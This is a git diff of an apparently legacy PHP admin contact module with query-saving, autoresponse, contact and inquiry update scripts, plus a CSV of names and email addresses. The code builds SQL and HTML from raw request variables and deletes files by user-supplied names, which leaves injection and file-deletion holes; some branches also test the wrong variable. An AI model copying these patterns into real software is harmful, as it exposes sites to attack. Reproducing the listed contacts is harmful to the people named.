+<tr>
+  <th bgcolor="#2f4f4f" class="theader">
+       Submit Query
+  </th>
+  </tr>
+       <tr>
+       <td><a href="index.phtml">Go Back to Query page</a></td>
+       </tr>
+  <tr>
+  <td>
+       <?echo nl2br($showq)?>
+    <br>
+       <?if(isset($query_name)) {
+       echo "Query ".$query_name." Recalled";
+       }?>
+       
+       <form action="list_contact.phtml" method="POST">
+       <input type="hidden" name="delimiter" value="<?echo $delimiter?>">
+       <input type="hidden" name="file" value="<?echo $file?>">
+       <input type="hidden" name="query_string" value="<?echo $query_string?>">
+       <input type="hidden" name="Submit" value="Submit Query">
+       <center>
+       <input type="submit" value="Send Query">
+       </form>
+       </center>
+       </td>
+  </tr>
+</table>
+<script lang="javascript">
+       var o_save = new Object();
+       o_save.url = 'query_save.phtml';
+       o_save.name = 'savewin';
+       o_save.width = 510;
+       o_save.height = 150;
+</script>
+<table>
+  <tr>
+  <th bgcolor="#2f4f4f" class="theader">
+       Do you wish to save this query for future use?
+  </th>
+  </tr>
+  <tr>
+    <td>
+       <a href="#" onClick="
+       glm_open(o_save);
+       return(false);
+       ">Save This Report</a>
+       </td>
+</tr>
+</table>
+<?php
+/* Save the query with (current) as query_name */
+if(!$dbd = db_connect()) 
+{
+       html_error("Cant connect",0);
+}
+$qs = "SELECT  id
+          FROM         query_db 
+          WHERE        query_name = '(current)'";
+if(!$res = @db_exec($dbd,$qs)) 
+{
+       html_error(DB_ERROR_MSG.$qs,0);
+}
+if(!$row = @db_fetch_array($res,0,PGSQL_ASSOC)) 
+{
+       $qs = "INSERT 
+                  INTO         query_db
+                                       (query_name,query,file,delimiter)
+                  VALUES       ('(current)','$query','$file','$delimiter')";
+}
+else 
+{
+       $qs = "UPDATE   query_db 
+                  SET          query = '$query',
+                                       file = '$file',
+                                       delimiter = '$delimiter'
+                  WHERE        id = $row[id]";
+}
+@db_close($dbd);
+if(!db_auto_exec($qs)) 
+{
+       html_error(DB_ERROR_MSG.$qs,0);
+}
+footer();
+?>
diff --git a/admin/Contact/query_db.phtml b/admin/Contact/query_db.phtml
new file mode 100644 (file)
index 0000000..3724eb3
--- /dev/null
@@ -0,0 +1,20 @@
+<?php
+//$Id: query_db.phtml,v 1.1.1.1 2009/09/17 20:09:02 matrix Exp $
+include("../../setup.phtml");
+include("contact_setup.inc");
+
+if(!isset($file)) $file = "";
+if(!isset($delimiter)) $delimiter = "";
+
+$qs = "INSERT 
+          INTO         query_db (query_name,query,file,delimiter) 
+         (select '$query_name',query,file,delimiter from query_db where query_name = '(current)' limit 1 offset 0)";
+if(!db_auto_exec($qs)) 
+       {
+               html_error(DB_ERROR_MSG.$qs,1);
+       }
+html_header("Saving Query","Saved","");
+?>
+Query is saved as <?echo $query_name?>
+<center><a href="#" onClick="window.close();return(false);">Close This
+Window</a></center>
diff --git a/admin/Contact/query_save.phtml b/admin/Contact/query_save.phtml
new file mode 100644 (file)
index 0000000..61c4a0d
--- /dev/null
@@ -0,0 +1,18 @@
+<html>
+<body bgcolor=white>
+<table bgcolor="#e0e0e0" width=500 cellpadding=4 cellspacing=0 border=0>
+  <tr>
+    <td>Name of Report
+       
+       <form name="form2" action="query_db.phtml" method="POST">
+       <input type="hidden" name="query" value="<?echo $query_string?>">
+       <input type="hidden" name="delimiter" value="<?echo $delimiter?>">
+       <input type="hidden" name="file" value="<?echo $file?>">
+       <input name="query_name">
+       <input type="submit" name="Submit" value="Save">
+       </form>
+       </td>
+</tr>
+</table>
+</body>
+</html>
diff --git a/admin/Contact/report.csv b/admin/Contact/report.csv
new file mode 100644 (file)
index 0000000..037c052
--- /dev/null
@@ -0,0 +1,14 @@
+Jim Cook,,,,,,jimc@gaslightmedia.com,,,,2011-09-15
+Petoskey Area CVB,Diane Dakins,,,,,diane@petoskeyarea.com,,,,
+Emmet County Information Technology Dept,Cheri Cosens & Gary Appold,,,,,gappold@emmetcounty.org,,,,
+Jodie Bissonette,,,,,,jodie@gaslightmedia.com,,,,
+Michigan Maple Block,Pat Stanley,,,,,mmb@mapleblock.com,,,,
+Research North Inc.,Charlie Rettstadt,,,,,rettstadt@researchnorth.com,,,,
+Candace Pierce,,,,,,candace@gaslightmedia.com,,,,
+Stafford's Hospitality,David Marvin,,,,,davidm@staffords.com,,,,
+Marie Holly,,,,,,marie@gaslightmedia.com,,,,
+Ove Klykken,,,,,,ove@gaslightmedia.com,,,,
+Dennis Hoshield,,,,,,dhosh@gaslightmedia.com,,,,
+Baymont Inn & Suites,Dan,Trotochau,,,,dan@baymontmackinaw.com,,,,
+Bailiwick Company,Brian & Jeri Lynn Bailey,,,,,jlb@bailiwickco.com,,,,
+Catherine,Sommerfeldt,,,,,catherine@gaslightmedia.com,,,,2010-12-22
diff --git a/admin/Contact/update_autoresponse.phtml b/admin/Contact/update_autoresponse.phtml
new file mode 100644 (file)
index 0000000..442fd42
--- /dev/null
@@ -0,0 +1,601 @@
+<?php
+include("../../setup.phtml");
+include("contact_setup.inc");
+/*
+echo '<pre>';
+print_r($_POST);
+echo '</pre>';
+*/
+switch($Command) 
+{
+
+       case "Update":
+               $dbd = db_connect(CONN_STR);
+       if(!$dbd) html_error(DB_ERROR_MSG,1);
+       if( $coupon == '' ) $coupon = 'none';
+       if( $image == '' ) $image = 'none';
+       if( $image2== '' ) $image2= 'none';
+       if( $image3== '' ) $image3= 'none';
+       if( $image4== '' ) $image4= 'none';
+       if( $image5== '' ) $image5= 'none';
+       if( $image6== '' ) $image6= 'none';
+       if ($coupon == 'none' || $delcoupon == 'TRUE')
+       {
+               $coupon_upload = 'FALSE';
+       }
+       else
+       {
+               $coupon_upload = 'TRUE';
+       }
+       if ($image == 'none' || $delimage == 'TRUE')
+       {
+               $img_upload = 'FALSE';
+       }
+       else
+       {
+               $img_upload = 'TRUE';
+       }
+
+       if ($image2 == 'none' || $delimage2 == 'TRUE')
+       {
+               $img_upload2 = 'FALSE';
+       }
+       else
+       {
+               $img_upload2 = 'TRUE';
+       }
+
+       if ($image3 == 'none' || $delimage3 == 'TRUE')
+       {
+               $img_upload3 = 'FALSE';
+       }
+       else
+       {
+               $img_upload3 = 'TRUE';
+       }
+
+       if ($image4 == 'none' || $delimage4 == 'TRUE')
+       {
+               $img_upload4 = 'FALSE';
+       }
+       else
+       {
+               $img_upload4 = 'TRUE';
+       }
+
+       if ($image5 == 'none' || $delimage5 == 'TRUE')
+       {
+               $img_upload5 = 'FALSE';
+       }
+       else
+       {
+               $img_upload5 = 'TRUE';
+       }
+
+       if ($image6 == 'none' || $delimage6 == 'TRUE')
+       {
+               $img_upload6 = 'FALSE';
+       }
+       else
+       {
+               $img_upload6 = 'TRUE';
+       }
+
+       // ***COUPON***
+       if ($coupon_upload == 'TRUE')
+       {
+               $coupon_name = process_image($coupon,$coupon_name);
+               if($oldcoupon != '')
+               {
+                       @unlink(ORIGINAL_PATH."/$oldcoupon");
+                       @unlink(RESIZED_PATH."/$oldcoupon");
+                       @unlink(MIDSIZED_PATH."/$oldcoupon");
+                       @unlink(THUMB_PATH."/$oldcoupon");
+               }
+       }
+       elseif ($coupon_upload == 'FALSE')
+       {
+               if($delcoupon == 'TRUE')
+               {
+                       @unlink(ORIGINAL_PATH."/$oldcoupon");
+                       @unlink(RESIZED_PATH."/$oldcoupon");
+                       @unlink(MIDSIZED_PATH."/$oldcoupon");
+                       @unlink(THUMB_PATH."/$oldcoupon");
+                       $coupon_name = '';
+               }
+               else
+               {
+                       $coupon_name = $oldcoupon;
+               }
+       }
+       // ***IMAGE ONE***
+       if ($img_upload == 'TRUE')
+       {
+               $image_name = process_image($image,$image_name);
+               if($oldimage != '')
+               {
+                       @unlink(ORIGINAL_PATH."/$oldimage");
+                       @unlink(RESIZED_PATH."/$oldimage");
+                       @unlink(MIDSIZED_PATH."/$oldimage");
+                       @unlink(THUMB_PATH."/$oldimage");
+               }
+       }
+       elseif ($img_upload == 'FALSE')
+       {
+               if($delimage == 'TRUE')
+               {
+                       @unlink(ORIGINAL_PATH."/$oldimage");
+                       @unlink(RESIZED_PATH."/$oldimage");
+                       @unlink(MIDSIZED_PATH."/$oldimage");
+                       @unlink(THUMB_PATH."/$oldimage");
+                       $image_name = '';
+               }
+               else
+               {
+                       $image_name = $oldimage;
+               }
+       }
+
+       // ***IMAGE TWO***
+       if ($img_upload2 == 'TRUE')
+       {
+               $image2_name = process_image($image2,$image2_name);
+               if($oldimage2 != '')
+               {
+                       @unlink(ORIGINAL_PATH."/$oldimage2");
+                       @unlink(RESIZED_PATH."/$oldimage2");
+                       @unlink(MIDSIZED_PATH."/$oldimage2");
+                       @unlink(THUMB_PATH."/$oldimage2");
+               }
+       }
+       elseif ($img_upload2 == 'FALSE')
+       {
+               if($delimage2 == 'TRUE')
+               {
+                       @unlink(ORIGINAL_PATH."/$oldimage2");
+                       @unlink(RESIZED_PATH."/$oldimage2");
+                       @unlink(MIDSIZED_PATH."/$oldimage2");
+                       @unlink(THUMB_PATH."/$oldimage2");
+                       $image2_name = '';
+               }
+               else
+               {
+                       $image2_name = $oldimage2;
+               }
+       }
+
+       // ***IMAGE THREE***
+       if ($img_upload3 == 'TRUE')
+       {
+               $image3_name = process_image($image3,$image3_name);                      
+               if($oldimage3 != '')
+               {
+                       @unlink(ORIGINAL_PATH."/$oldimage3");
+                       @unlink(RESIZED_PATH."/$oldimage3");
+                       @unlink(MIDSIZED_PATH."/$oldimage3");
+                       @unlink(THUMB_PATH."/$oldimage3");
+               }
+       }
+       elseif ($img_upload3 == 'FALSE')
+       {
+               if($delimage3 == 'TRUE')
+               {
+                       @unlink(ORIGINAL_PATH."/$oldimage3");
+                       @unlink(RESIZED_PATH."/$oldimage3");
+                       @unlink(MIDSIZED_PATH."/$oldimage3");
+                       @unlink(THUMB_PATH."/$oldimage3");
+                       $image3_name = '';
+               }
+               else
+               {
+                       $image3_name = $oldimage3;
+               }
+       }
+
+       // ***IMAGE FOUR***
+       if ($img_upload4 == 'TRUE')
+       {
+               $image4_name = process_image($image4,$image4_name);                      
+               if($oldimage4 != '')
+               {
+                       @unlink(ORIGINAL_PATH."/$oldimage4");
+                       @unlink(RESIZED_PATH."/$oldimage4");
+                       @unlink(MIDSIZED_PATH."/$oldimage4");
+                       @unlink(THUMB_PATH."/$oldimage4");
+               }
+       }
+       elseif ($img_upload3 == 'FALSE')
+       {
+               if($delimage4 == 'TRUE')
+               {
+                       @unlink(ORIGINAL_PATH."/$oldimage4");
+                       @unlink(RESIZED_PATH."/$oldimage4");
+                       @unlink(MIDSIZED_PATH."/$oldimage4");
+                       @unlink(THUMB_PATH."/$oldimage4");
+                       $image4_name = '';
+               }
+               else
+               {
+                       $image4_name = $oldimage4;
+               }
+       }
+
+       // ***IMAGE FIVE***
+       if ($img_upload5 == 'TRUE')
+       {
+               $image5_name = process_image($image5,$image5_name);                      
+               if($oldimage5 != '')
+               {
+                       @unlink(ORIGINAL_PATH."/$oldimage5");
+                       @unlink(RESIZED_PATH."/$oldimage5");
+                       @unlink(MIDSIZED_PATH."/$oldimage5");
+                       @unlink(THUMB_PATH."/$oldimage5");
+               }
+       }
+       elseif ($img_upload3 == 'FALSE')
+       {
+               if($delimage5 == 'TRUE')
+               {
+                       @unlink(ORIGINAL_PATH."/$oldimage5");
+                       @unlink(RESIZED_PATH."/$oldimage5");
+                       @unlink(MIDSIZED_PATH."/$oldimage5");
+                       @unlink(THUMB_PATH."/$oldimage5");
+                       $image5_name = '';
+               }
+               else
+               {
+                       $image5_name = $oldimage5;
+               }
+       }
+
+       // ***IMAGE SIX***
+       if ($img_upload6 == 'TRUE')
+       {
+               $image6_name = process_image($image6,$image6_name);                      
+               if($oldimage6 != '')
+               {
+                       @unlink(ORIGINAL_PATH."/$oldimage6");
+                       @unlink(RESIZED_PATH."/$oldimage6");
+                       @unlink(MIDSIZED_PATH."/$oldimage6");
+                       @unlink(THUMB_PATH."/$oldimage6");
+               }
+       }
+       elseif ($img_upload6 == 'FALSE')
+       {
+               if($delimage6 == 'TRUE')
+               {
+                       @unlink(ORIGINAL_PATH."/$oldimage6");
+                       @unlink(RESIZED_PATH."/$oldimage6");
+                       @unlink(MIDSIZED_PATH."/$oldimage6");
+                       @unlink(THUMB_PATH."/$oldimage6");
+                       $image6_name = '';
+               }
+               else
+               {
+                       $image6_name = $oldimage6;
+               }
+       }
+
+       $qs = "UPDATE   news_response 
+               SET             subject = '$subject',
+                               response = '$response',
+                               template = $template,
+                               image_align     = '$image_align',
+                               image_link = '$image_link',
+                               image2_align = '$image2_align',
+                               image2_link = '$image2_link',
+                               image3_align = '$image3_align',
+                               image3_link = '$image3_link',
+                               image4_align = '$image4_align',
+                               image4_link = '$image4_link',
+                               image5_align = '$image5_align',
+                               image5_link = '$image5_link',
+                               image6_align = '$image6_align',
+                               image6_link = '$image6_link',
+                               coupon = '$coupon_name',
+                               coupon_link = '$coupon_link',
+                               image = '$image_name',
+                               image2 = '$image2_name',
+                               image3 = '$image3_name',
+                               image4 = '$image4_name',
+                               image5 = '$image5_name',
+                               image6 = '$image6_name',
+                               last_update     = current_date
+                                       WHERE   id                      = $id";
+
+//die($qs);
+       if(!db_exec($dbd,$qs)) html_error("failed ->".$qs,1);
+
+       $location = "emails.php"; 
+       break;
+
+       case "Insert":
+               $dbd = db_connect(CONN_STR);
+       if( $image == '' ) $image = 'none';
+       if( $image2== '' ) $image2= 'none';
+       if( $image3== '' ) $image3= 'none';
+       if( $image4== '' ) $image4= 'none';
+       if( $image5== '' ) $image5= 'none';
+       if( $image6== '' ) $image6= 'none';
+       if ($image == 'none' || $delimage == 'TRUE')
+       {
+               $img_upload = 'FALSE';
+       }
+       else
+       {
+               $img_upload = 'TRUE';
+       }
+
+       if ($image2 == 'none' || $delimage2 == 'TRUE')
+       {
+               $img_upload2 = 'FALSE';
+       }
+       else
+       {
+               $img_upload2 = 'TRUE';
+       }
+
+       if ($image3 == 'none' || $delimage3 == 'TRUE')
+       {
+               $img_upload3 = 'FALSE';
+       }
+       else
+       {
+               $img_upload3 = 'TRUE';
+       }
+
+       if ($image4 == 'none' || $delimage4 == 'TRUE')
+       {
+               $img_upload4 = 'FALSE';
+       }
+       else
+       {
+               $img_upload4 = 'TRUE';
+       }
+
+       if ($image5 == 'none' || $delimage5 == 'TRUE')
+       {
+               $img_upload5 = 'FALSE';
+       }
+       else
+       {
+               $img_upload5 = 'TRUE';
+       }
+
+       if ($image6 == 'none' || $delimage6 == 'TRUE')
+       {
+               $img_upload6 = 'FALSE';
+       }
+       else
+       {
+               $img_upload6 = 'TRUE';
+       }
+
+       // ***IMAGE ONE***
+       if ($img_upload == 'TRUE')
+       {
+               $image_name = process_image($image,$image_name);
+               if($oldimage != '')
+               {
+                       @unlink(ORIGINAL_PATH."/$oldimage");
+                       @unlink(RESIZED_PATH."/$oldimage");
+                       @unlink(MIDSIZED_PATH."/$oldimage");
+                       @unlink(THUMB_PATH."/$oldimage");
+               }
+       }
+       elseif ($img_upload == 'FALSE')
+       {
+               if($delimage == 'TRUE')
+               {
+                       @unlink(ORIGINAL_PATH."/$oldimage");
+                       @unlink(RESIZED_PATH."/$oldimage");
+                       @unlink(MIDSIZED_PATH."/$oldimage");
+                       @unlink(THUMB_PATH."/$oldimage");
+                       $image_name = '';
+               }
+               else
+               {
+                       $image_name = $oldimage;
+               }
+       }
+
+       // ***IMAGE TWO***
+       if ($img_upload2 == 'TRUE')
+       {
+               $image2_name = process_image($image2,$image2_name);
+               if($oldimage2 != '')
+               {
+                       @unlink(ORIGINAL_PATH."/$oldimage2");
+                       @unlink(RESIZED_PATH."/$oldimage2");
+                       @unlink(MIDSIZED_PATH."/$oldimage2");
+                       @unlink(THUMB_PATH."/$oldimage2");
+               }
+       }
+       elseif ($img_upload2 == 'FALSE')
+       {
+               if($delimage2 == 'TRUE')
+               {
+                       @unlink(ORIGINAL_PATH."/$oldimage2");
+                       @unlink(RESIZED_PATH."/$oldimage2");
+                       @unlink(MIDSIZED_PATH."/$oldimage2");
+                       @unlink(THUMB_PATH."/$oldimage2");
+                       $image2_name = '';
+               }
+               else
+               {
+                       $image2_name = $oldimage2;
+               }
+       }
+
+       // ***IMAGE THREE***
+       if ($img_upload3 == 'TRUE')
+       {
+               $image3_name = process_image($image3,$image3_name);                      
+               if($oldimage3 != '')
+               {
+                       @unlink(ORIGINAL_PATH."/$oldimage3");
+                       @unlink(RESIZED_PATH."/$oldimage3");
+                       @unlink(MIDSIZED_PATH."/$oldimage3");
+                       @unlink(THUMB_PATH."/$oldimage3");
+               }
+       }
+       elseif ($img_upload3 == 'FALSE')
+       {
+               if($delimage3 == 'TRUE')
+               {
+                       @unlink(ORIGINAL_PATH."/$oldimage3");
+                       @unlink(RESIZED_PATH."/$oldimage3");
+                       @unlink(MIDSIZED_PATH."/$oldimage3");
+                       @unlink(THUMB_PATH."/$oldimage3");
+                       $image3_name = '';
+               }
+               else
+               {
+                       $image3_name = $oldimage3;
+               }
+       }
+
+       // ***IMAGE FOUR***
+       if ($img_upload4 == 'TRUE')
+       {
+               $image4_name = process_image($image4,$image4_name);                      
+               if($oldimage4 != '')
+               {
+                       @unlink(ORIGINAL_PATH."/$oldimage4");
+                       @unlink(RESIZED_PATH."/$oldimage4");
+                       @unlink(MIDSIZED_PATH."/$oldimage4");
+                       @unlink(THUMB_PATH."/$oldimage4");
+               }
+       }
+       elseif ($img_upload4 == 'FALSE')
+       {
+               if($delimage4 == 'TRUE')
+               {
+                       @unlink(ORIGINAL_PATH."/$oldimage4");
+                       @unlink(RESIZED_PATH."/$oldimage4");
+                       @unlink(MIDSIZED_PATH."/$oldimage4");
+                       @unlink(THUMB_PATH."/$oldimage4");
+                       $image4_name = '';
+               }
+               else
+               {
+                       $image4_name = $oldimage4;
+               }
+       }
+
+       // ***IMAGE FIVE***
+       if ($img_upload5 == 'TRUE')
+       {
+               $image5_name = process_image($image5,$image5_name);                      
+               if($oldimage5 != '')
+               {
+                       @unlink(ORIGINAL_PATH."/$oldimage5");
+                       @unlink(RESIZED_PATH."/$oldimage5");
+                       @unlink(MIDSIZED_PATH."/$oldimage5");
+                       @unlink(THUMB_PATH."/$oldimage5");
+               }
+       }
+       elseif ($img_upload5 == 'FALSE')
+       {
+               if($delimage5 == 'TRUE')
+               {
+                       @unlink(ORIGINAL_PATH."/$oldimage5");
+                       @unlink(RESIZED_PATH."/$oldimage5");
+                       @unlink(MIDSIZED_PATH."/$oldimage5");
+                       @unlink(THUMB_PATH."/$oldimage5");
+                       $image5_name = '';
+               }
+               else
+               {
+                       $image5_name = $oldimage5;
+               }
+       }
+
+       // ***IMAGE SIX***
+       if ($img_upload6 == 'TRUE')
+       {
+               $image6_name = process_image($image6,$image6_name);                      
+               if($oldimage6 != '')
+               {
+                       @unlink(ORIGINAL_PATH."/$oldimage6");
+                       @unlink(RESIZED_PATH."/$oldimage6");
+                       @unlink(MIDSIZED_PATH."/$oldimage6");
+                       @unlink(THUMB_PATH."/$oldimage6");
+               }
+       }
+       elseif ($img_upload6 == 'FALSE')
+       {
+               if($delimage6 == 'TRUE')
+               {
+                       @unlink(ORIGINAL_PATH."/$oldimage6");
+                       @unlink(RESIZED_PATH."/$oldimage6");
+                       @unlink(MIDSIZED_PATH."/$oldimage6");
+                       @unlink(THUMB_PATH."/$oldimage6");
+                       $image6_name = '';
+               }
+               else
+               {
+                       $image6_name = $oldimage6;
+               }
+       }
+
+       if(!$dbd) html_error(DB_ERROR_MSG,1);
+
+       $qs = "INSERT INTO news_response 
+                       (last_update,subject,response,template,
+                       coupon,coupon_link,
+                       image,image2,image3,image4,image5,image6,
+                       image_align,image2_align,image3_align,image4_align,image5_align,image6_align
+                       ,image_link,image2_link,image3_link,image4_link,image5_link,image6_link
+               )
+               VALUES 
+               (current_date,'$subject','$response',$template,
+               '$coupon','$coupon_link',
+               '$image_name','$image2_name','$image3_name','$image4_name','$image5_name','$image6_name',
+               '$image_link','$image2_link','$image3_link','$image4_link','$image5_link','$image6_link',
+               '$image_align','$image2_align','$image3_align','$image4_align','$image5_align','$image6_align'
+       )";
+
+       if(!$res = db_exec($dbd,$qs)) 
+       {
+               echo pg_errormessage($res);
+               html_error(DB_ERROR_MSG.$qs,1);
+       }
+
+       $location = "emails.php"; 
+
+       break;
+
+       case "Cancel":
+       $location = "emails.php"; 
+       break;
+
+       case "Delete":
+               $dbd = db_connect(CONN_STR);
+               db_exec( $dbd, "BEGIN WORK" );
+               $query = "select image,image2,image3 from news_response where id = $id;";
+               $res = db_exec($dbd,$query);
+               for( $i = 1; $i <= 3; $i++ )
+               {
+                       $imagename = ( $i == 1 ) ? 'image' : 'image'.$i ;
+                       if( $img = pg_result( $res, 0 , $imagename ) )
+                       {
+                               @unlink( ORIGINAL_PATH.'/'.$img );
+                               @unlink( RESIZED_PATH.'/'.$img );
+                               @unlink( MIDSIZED_PATH.'/'.$img );
+                               @unlink( THUMB_PATH.'/'.$img );
+                       }
+               }
+               $query = "delete from news_response where id = $id;";
+               db_exec( $dbd, $query );
+               db_exec( $dbd, "COMMIT WORK" );
+               $location = "emails.php"; 
+               break;
+
+       default:
+       html_error("incorrect value for Command",1);
+       break;
+}
+
+header("Location: $location");
+?>
diff --git a/admin/Contact/update_contact.phtml b/admin/Contact/update_contact.phtml
new file mode 100644 (file)
index 0000000..a1b4b69
--- /dev/null
@@ -0,0 +1,231 @@
+<?php
+//$Id: update_contact.phtml,v 1.1.1.1 2009/09/17 20:09:02 matrix Exp $
+include("../../setup.phtml");
+include("contact_setup.inc");
+$location = "list_contact.phtml?back=1&start=$start";
+
+if(is_array($interest))
+{
+       $interest = ":".implode(":",$interest).":";
+}
+http_strip($url);
+
+$LAST = count($DB_fields)-1;
+if($REQUEST_METHOD == "POST" || $Command == "Delete") 
+       {
+       switch($Command) 
+               {
+               case "Update":
+               for($i=0;$i<count($DB_fields);$i++) 
+                       {
+                       if($DB_fields[$i][type]=="img")
+                               {
+                               $tmp = $DB_fields[$i]['name'];
+                               $image = $$tmp;
+                               $oldimage = ${$tmp."_old"};
+                               $image_name = ${$tmp."_name"};
+                               if($image == "none" || $image == "") 
+                                       {
+                                       $image_name = $oldimage;
+                                       }
+                               else 
+                                       { 
+                                       $image_name = process_image($image,$image_name);
+                                       }
+                               $delete = ${"delete".$tmp};
+                               if($delete==1) 
+                                       {
+                                       $image_name = "";
+                                       @unlink(ORIGINAL_PATH."/".$oldimage);
+                                       @unlink(RESIZED_PATH.$oldimage);
+                                       @unlink(THUMB_PATH.$oldimage);
+                                       @unlink(MIDSIZED_PATH.$oldimage);
+                                       }
+                               }       
+                       }
+               $DB_fields = array_reverse($DB_fields);
+               $qs = "UPDATE ".TABLE." SET ";
+               for($i=0;$i<count($DB_fields);$i++) 
+                       {
+                       if($DB_fields[$i][type]=="date") 
+                               {
+                               $month =  $DB_fields[$i][name]."_month";
+                               $day = $DB_fields[$i][name]."_day";
+                               $year = $DB_fields[$i][name]."_year";
+                               $date = date("Y-m-d H:i:s T",mktime(0,0,0,$$month,$$day,$$year));
+                               $qs .= $DB_fields[$i][name]." = '$date'";
+                               if($i != $LAST)
+                                       $qs .= ",";
+                               }
+                       elseif($DB_fields[$i][type]=="datetime") 
+                               {
+                               $month =  $DB_fields[$i][name]."_month";
+                               $day = $DB_fields[$i][name]."_day";
+                               $year = $DB_fields[$i][name]."_year";
+                               $H = $DB_fields[$i][name]."_hour";
+                               $mm = $DB_fields[$i][name]."_mm";
+                               if($$mm == "PM")
+                                       $$H = $$H + 12;
+                               $m = $DB_fields[$i][name]."_min"; 
+                               $date = date("Y-m-d H:i:s T",mktime($$H,$$m,0,$$month,$$day,$$year));
+                               $qs .= $DB_fields[$i][name]." = '$date'";
+                               if($i != $LAST)
+                                       $qs .= ",";
+                               }
+                       elseif($DB_fields[$i][name]!=ID) 
+                               {
+                               if($DB_fields[$i][type]=="img") 
+                                       {
+                                       $qs .= $DB_fields[$i][name]." = '".$image_name."'";
+                                       if($i != $LAST)
+                                               $qs .= ",";
+                                       }       
+                               elseif($DB_fields[$i][type]=="static")
+                                       {
+                                       }
+                               elseif($DB_fields[$i][type]=="radio" && $_POST[$DB_fields[$i][name]] == '') 
+                                       {
+                                               $qs .= $DB_fields[$i][name]." = NULL";
+                                               if($i != $LAST)
+                                                       $qs .= ",";
+                                       }
+                               elseif($DB_fields[$i][type]=="password") 
+                                       {
+                                       if(($password && $password2) && ($password == $password2)) 
+                                               {
+                                               $qs .= $DB_fields[$i][name]." = '".$$DB_fields[$i][name]."'";
+                                               if($i != $LAST)
+                                                       $qs .= ",";
+                                               }               
+                                       }
+                               else 
+                                       {
+                                       $qs .= $DB_fields[$i][name]." = '".$$DB_fields[$i][name]."'";
+                                       if($i != $LAST)
+                                               $qs .= ",";
+                                       }
+                               }
+                       else 
+                               {
+                               $qs = substr($qs,0,strlen($qs)-1);
+                               $qs .= " WHERE ".$DB_fields[$i][name]." = $id";
+                               }       
+                       }
+               $DB_fields = array_reverse($DB_fields);
+               if(!$DB->db_auto_exec($qs)) 
+                       $ERRORS .= pg_errormessage($dbd).$qs;
+                       
+       break;
+
+       case "Insert":
+               $create_date = date("m-d-Y");
+               for($i=0;$i<count($DB_fields);$i++) 
+                       {
+                       if($DB_fields[$i][type]=="img")
+                               {
+                               $tmp = $DB_fields[$i]['name'];
+                               $image = $$tmp;
+                               $image_name = ${$tmp."_name"};
+                               if($image == "none" || $image == "") 
+                                       {
+                                       $image_name = $oldimage;
+                                       }
+                               else 
+                                       { 
+                                       $image_name = process_image($image,$image_name);
+                                       }
+                               }       
+                       }
+               $tmp = "";
+               $tmp_value = "";
+               for($i=0;$i<count($DB_fields);$i++) 
+                       {
+                       if($DB_fields[$i][name]!=ID) 
+                               {
+                               if($DB_fields[$i][type]!="static")
+                                       {
+                                       $tmp .= $DB_fields[$i][name];
+                                       $tmp .= ",";    
+                                       }
+                               }
+                       }
+               for($i=0;$i<count($DB_fields);$i++) 
+                       {
+                       if($DB_fields[$i][type]=="date") 
+                               {
+                               $month =  $DB_fields[$i][name]."_month";
+                               $day = $DB_fields[$i][name]."_day";
+                               $year = $DB_fields[$i][name]."_year";
+                               $date = date("Y-m-d H:i:s T",mktime(0,0,0,$$month,$$day,$$year));
+                               $tmp_value .= "'$date'";
+                               $tmp_value .= ",";      
+                               }
+                       elseif($DB_fields[$i][type]=="static") 
+                               {
+                               }
+                       elseif($DB_fields[$i][type]=="datetime") 
+                               {
+                               $month =  $DB_fields[$i][name]."_month";
+                               $day = $DB_fields[$i][name]."_day";
+                               $year = $DB_fields[$i][name]."_year";
+                               $H = $DB_fields[$i][name]."_hour";
+                               $mm = $DB_fields[$i][name]."_mm";
+                               if($$mm == "PM")
+                                       $$H = $$H + 12;
+                               $m = $DB_fields[$i][name]."_min"; 
+                               $date = date("Y-m-d H:i:s T",mktime($$H,$$m,0,$$month,$$day,$$year));
+                               $tmp_value .= "'$date'";
+                               $tmp_value .= ",";      
+                               }
+                       elseif($DB_fields[$i][type]=="radio" && $_POST[$DB_fields[$i][name]] == '')
+                               {
+                               $tmp_value .= "NULL";
+                               $tmp_value .= ",";      
+                               }
+                       elseif($DB_fields[$i][type]=="img")
+                               {
+                               $tmp_value .= "'".$image_name."'";
+                               $tmp_value .= ",";      
+                               }
+                       elseif($DB_fields[$i][name]!=ID) 
+                               {
+                               $tmp_value .= "'".$$DB_fields[$i][name]."'";
+                               $tmp_value .= ",";      
+                               }
+                       }
+               // check for all blanks
+               $tmp_blank = str_replace("'","",$tmp_value);
+               $tmp_blank = str_replace(",","",$tmp_blank);
+               if($tmp_blank) 
+                       {
+                       $qs = "INSERT INTO ".TABLE." 
+                                               (".ID.", $tmp create_date)
+                                  VALUES
+                                               (nextval('".SEQUENCE."'), $tmp_value '$create_date')";
+       
+                       if(!$DB->db_auto_exec($qs)) 
+                               $ERRORS .= pg_errormessage($dbd).$qs;
+                       }
+       break;
+
+       case "Delete":
+               $qs = "DELETE FROM ".TABLE."
+                          WHERE ".ID." = $id";
+
+               if(!$DB->db_auto_exec($qs)) 
+                       $ERRORS .= pg_errormessage($dbd).$qs;
+       
+       break;
+
+       case "Cancel":
+       break;
+
+       default:
+                $ERRORS .= "incorrect value for Command";
+       break;
+       
+       }
+
+header("Location: $location");
+}
+?>
diff --git a/admin/Contact/update_inquiry.phtml b/admin/Contact/update_inquiry.phtml
new file mode 100644 (file)
index 0000000..98a822d
--- /dev/null
@@ -0,0 +1,174 @@
+<?php
+include("../../setup.phtml");
+include("contact_setup.inc");
+$conn =& $DB->db_connect();
+if(!$conn) 
+       {
+               echo "No Database connection";
+       }
+if($image == "none" || $image == "") 
+       {
+               $image_name = $oldimage;
+       }
+else 
+       { 
+               $image_name = process_image($image,$image_name);
+               @unlink(ORIGINAL_PATH."/".$oldimage);
+               @unlink(RESIZED_PATH.$oldimage);
+               @unlink(THUMB_PATH.$oldimage);
+               @unlink(MIDSIZED_PATH.$oldimage);
+
+       }
+if($deleteimage == "1") 
+       {
+               $image_name = "";
+
+               @unlink(ORIGINAL_PATH."/".$oldimage);
+               @unlink(RESIZED_PATH.$oldimage);
+               @unlink(THUMB_PATH.$oldimage);
+               @unlink(MIDSIZED_PATH.$oldimage);
+       }
+
+switch($Command) 
+       {
+               case "Move":
+                       $qs = "SELECT   pos,id
+                       FROM    contact_inq
+                       WHERE   id = $id";
+
+               if(!$result = db_exec($conn,$qs)) 
+               {
+                       html_error(DB_ERROR_MSG.$qs,0);
+               }
+
+               $data = db_fetch_array($result,0,PGSQL_ASSOC);
+               $pos = $data['pos'];
+
+               if($newpos < $pos) 
+               {
+                       $qs = "SELECT   id,pos
+                               FROM    contact_inq
+                               WHERE   pos < $pos
+                               AND             pos >= $newpos
+                               ORDER BY pos";
+
